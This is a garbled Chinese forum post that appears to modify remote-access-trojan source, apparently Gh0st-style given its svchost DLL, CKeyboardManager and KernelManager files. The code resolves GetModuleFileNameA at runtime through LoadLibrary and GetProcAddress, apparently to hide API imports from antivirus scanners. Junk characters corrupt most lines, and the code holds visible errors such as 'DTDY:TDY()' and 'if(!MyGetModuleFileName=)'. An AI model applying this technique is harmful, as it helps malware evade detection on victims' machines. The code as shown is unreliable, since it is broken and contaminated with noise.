返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记) a* @  z9 L2 V" _- D, L0 H
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
. B) |# H- j, L( F; f) o----------------------------------------0 R; H5 E2 e: t8 q# y3 M+ R; f3 i
DTDY.h:& k; f! R% M; S& M# O' Z" c% s9 }
7 w1 X1 U5 Y4 E- R9 @
#if _MSC_VER>1000, I* t5 s& \$ M/ x$ h& ]; `) U
#pragma once
- V5 T- N$ w5 W+ J& K+ W8 o0 d) Z6 j#endif //_MSC_VER>1000! T" a8 e6 |  z% u3 _
#include<windows.h>
  o$ w6 `' u5 `3 ~$ O7 b, ?/ G7 B) V, u/ J5 R$ s$ W4 X
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);* @! k1 o+ w9 O) E  c
class DTDY7 d* v" \3 m! [& k* d1 {
{2 T! x4 n+ \( [% U
public:* Z2 X3 |  i, A# R+ ]" `! X
DTDY();
: D8 d, N; d7 B+ ~virtual ~DTDY();
0 a) u/ C- \8 F7 D: o* Gpublic:
9 K' p; R' K2 N0 `0 {6 \- Estatic pGetModuleFileNameA MyGetModuleFileName;: E8 k4 d1 ^8 p, }4 x- ]
static BOOL FunInitiallization();& o7 k2 y( b( t  }) N* L
};; `  H3 Q- p3 i  d- }
#endif
5 r! J# }& G5 P. _7 y4 Q5 ^' Q8 m----------------------------------------% o4 ?! q* \) E
$ b" L0 Q6 \, T) y. p! Y
DTDY.cpp:) h& w8 l0 f; H& N8 t
8 _/ r# ~% ~1 T, `! C7 y
#include "DTDY.h"$ z$ _& j# p+ M( K! I# |" j: v
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;6 H  n' X* N' Y1 ~( {
DTDY:TDY()
" b6 u2 X. a5 F  Y5 d* |6 ^4 v9 U{
2 {  l' j5 u( }/ u0 |1 ]}
- u9 }( \4 K" e+ M, TDTDY::~DTDY()4 ^3 ?( l8 }3 Q. ~
{
& z5 C2 e: y8 o2 X4 o}- o+ t4 ]0 v& V& P( j
BOOL DTDY::FunInitiallization()4 R6 X8 H  y& d% L! m" l8 V$ q
{
0 O' \+ @6 {0 h5 Q8 n8 JHMODULE hModule=LoadLibrary("kernel32.dll");
0 Y2 L& {' |3 {5 y! U! YMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
6 X8 w1 L4 o; @, }if(!MyGetModuleFileName=) return FALSE;! N7 _2 ^# D* w, o0 I# `

! G8 ^7 P  h: \! \& Qreturn TRUE;2 n" u  w4 j! |
}
+ Y( B, _; t5 E7 x1 w: t' z' y----------------------------------------
* l9 M2 H: {- w1 H) osvchost.cpp:
! m4 Q8 F) ^7 q, t
# L4 T1 v0 B# r2 J* A) G#include "DTDY.h"
! H( D$ t( s5 c( n) b% w% }
& c; H. `1 r" xBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)9 c" @( B) _# V: Q
{! I0 V6 U+ f2 s' \' G
switch(ul_reason_for_call)
+ Y0 p9 ?7 o% @{  d& d/ e& x" Z! c
case DLL_PROCESS_ATTACH:1 [( b' k. s5 Q- k. }5 i# ?+ Y
if(!DTDY::FunInitiallization()) return FALSE;
: Y3 k% \1 e/ n2 j5 B5 a% \
3 g7 Y8 Y$ L8 t4 O* M. @break;& b. ^9 G, a  F. X, [7 j4 @
}4 z# L5 F6 `& I$ I; M
}8 g: D: ~' f7 v4 D
! r  v3 V5 N& d$ S( {
$ c7 s2 V/ b5 Q. D& T% k
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
% v  {, l# g  i( O) [改写为
7 M/ V* ]. H  C* vDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));+ h! T, U; c" M
----------------------------------------* S; C) y- r+ _) W4 T9 A( ?
KernelManager.cpp:, v0 n. q" I' J
- [$ s. M& S4 V( J1 x4 A* M8 P# \
#include "../DTDY.h"2 g% O' s5 g9 F) k
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));. x8 G  W7 O( {9 ]0 [- r% y( S
改写为
/ v) o5 z7 X2 y0 l5 p  ~DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));% ]2 z4 |4 X% V8 |
----------------------------------------

返回列表